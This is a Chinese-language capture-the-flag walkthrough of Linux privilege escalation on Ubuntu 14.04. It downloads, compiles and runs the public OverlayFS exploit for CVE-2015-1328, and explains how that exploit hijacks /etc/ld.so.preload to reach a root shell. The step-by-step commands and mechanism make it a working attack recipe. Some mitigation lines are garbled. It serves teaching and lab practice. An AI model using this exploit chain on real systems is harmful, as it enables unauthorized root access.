此演练的目标是通过利用存在漏洞的 Linux 内核,将权限从低权限用户 (karen) 提升到 root。
通过 SSH 连接到目标机器后:
ssh karen@<target-ip>
我识别出了 Linux 内核版本:
uname -r
输出:
3.13.0-24-generic
该机器运行的是 Ubuntu 14.04,内核为 3.13.0-24-generic。
由于 Linux 权限提升通常依赖于有漏洞的内核,我使用 SearchSploit 搜索了 Exploit-DB:
searchsploit overlayfs ubuntu 3.13
结果:
Linux Kernel 3.13.0 < 3.19 (Ubuntu...) - overlayfs Local Privilege Escalation
37292.c
该漏洞利用针对的是 CVE-2015-1328,该漏洞影响修补版本之前的 Ubuntu 内核。
在执行任何漏洞利用之前,理解其作用非常重要。
该漏洞利用利用了 OverlayFS(Linux 联合文件系统)中的一个缺陷。
该漏洞存在的原因是 OverlayFS 在用户命名空间 (CLONE_NEWUSER) 内挂载时错误地处理了文件权限。
非特权用户可以操纵 OverlayFS 创建或修改通常只有 root 才能写入的文件。
该漏洞利用最终会写入:
/etc/ld.so.preload
该文件告诉 Linux 动态加载器在每个动态链接的可执行文件之前加载一个共享库。
通过强制系统加载恶意共享库,该漏洞利用获得了 root 权限的代码执行。
使用 SearchSploit:
searchsploit -m 37292
这会将漏洞利用复制到本地:
37292.c
然后将漏洞利用传输到目标机器上。
在本演练中,它被保存为:
/tmp/ofs.c
导航到包含漏洞利用的目录:
cd /tmp
使用 GCC 编译它:
gcc ofs.c -o ofs
如果编译成功,GCC 不会产生任何输出。
验证可执行文件是否存在:
ls -l
预期:
-rwxr-xr-x ... ofs
运行可执行文件:
./ofs
漏洞利用会打印类似如下的消息:
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
最后,它会产生一个 root shell:
#
验证权限:
id
输出:
uid=0(root) gid=0(root)
获得 root 权限后:
cat /home/matt/flag1.txt
现在可以成功读取该文件。
该漏洞利用内部执行了多个操作。
unshare(CLONE_NEWUSER);
Linux 用户命名空间允许非特权进程在命名空间内部看起来像 root,但实际上并非主机上的 root。
此能力对攻击至关重要。
clone(... CLONE_NEWNS ...)
一个单独的挂载命名空间将文件系统更改与操作系统的其余部分隔离开来。
这使得漏洞利用能够挂载 OverlayFS 而不会影响全局文件系统。
漏洞利用会创建临时目录:
/tmp/ns_sploit/
├── upper/
├── work/
└── o/
然后挂载 OverlayFS:
Lower Layer
│
▼
OverlayFS
│
▼
Upper Layer
由于内核漏洞,OverlayFS 错误地允许了本应需要 root 权限的操作。
/etc/ld.so.preload漏洞利用将 OverlayFS 挂载内的一个可写文件重命名为:
ld.so.preload
在将 OverlayFS 重新挂载到 /etc 上之后,该文件变为:
/etc/ld.so.preload
通常,只有 root 才能创建此文件。
漏洞利用写入一个 C 源文件:
/tmp/ofs-lib.c
然后编译它:
gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c
生成的共享库会覆盖 getuid() 函数。
漏洞利用将以下内容写入:
/tmp/ofs-lib.so
到:
/etc/ld.so.preload
现在,每个动态链接的可执行文件都会在任何系统库之前加载这个恶意库。
/bin/su最后:
execl("/bin/su", "su", NULL);
当 su 启动时,恶意的 getuid() 函数会替代原始函数执行。
该库会:
/etc/ld.so.preloadsetresuid(0,0,0);
setresgid(0,0,0);
/bin/sh
结果是一个交互式的 root shell。
该漏洞是由于 OverlayFS 在用户命名空间内使用时,其权限处理不正确导致的。
非特权用户可以操纵 OverlayFS 创建特权文件,例如:
/etc/ld.so.preload
由于动态加载器信任此文件,任意代码会以 root 身份执行。
此漏洞已由 Ubuntu 在更新的内核版本中修补。
缓解策略包括:
/etc/ld.so.preload/etc/ld.so.cache# 枚举内核版本
uname -r
# 搜索漏洞利用
searchsploit overlayfs ubuntu 3.13
# 将漏洞利用复制到本地
searchsploit -m 37292
# 编译漏洞利用
gcc ofs.c -o ofs
# 执行漏洞利用
./ofs
# 验证权限
id
# 读取 Flag
cat /home/matt/flag1.txt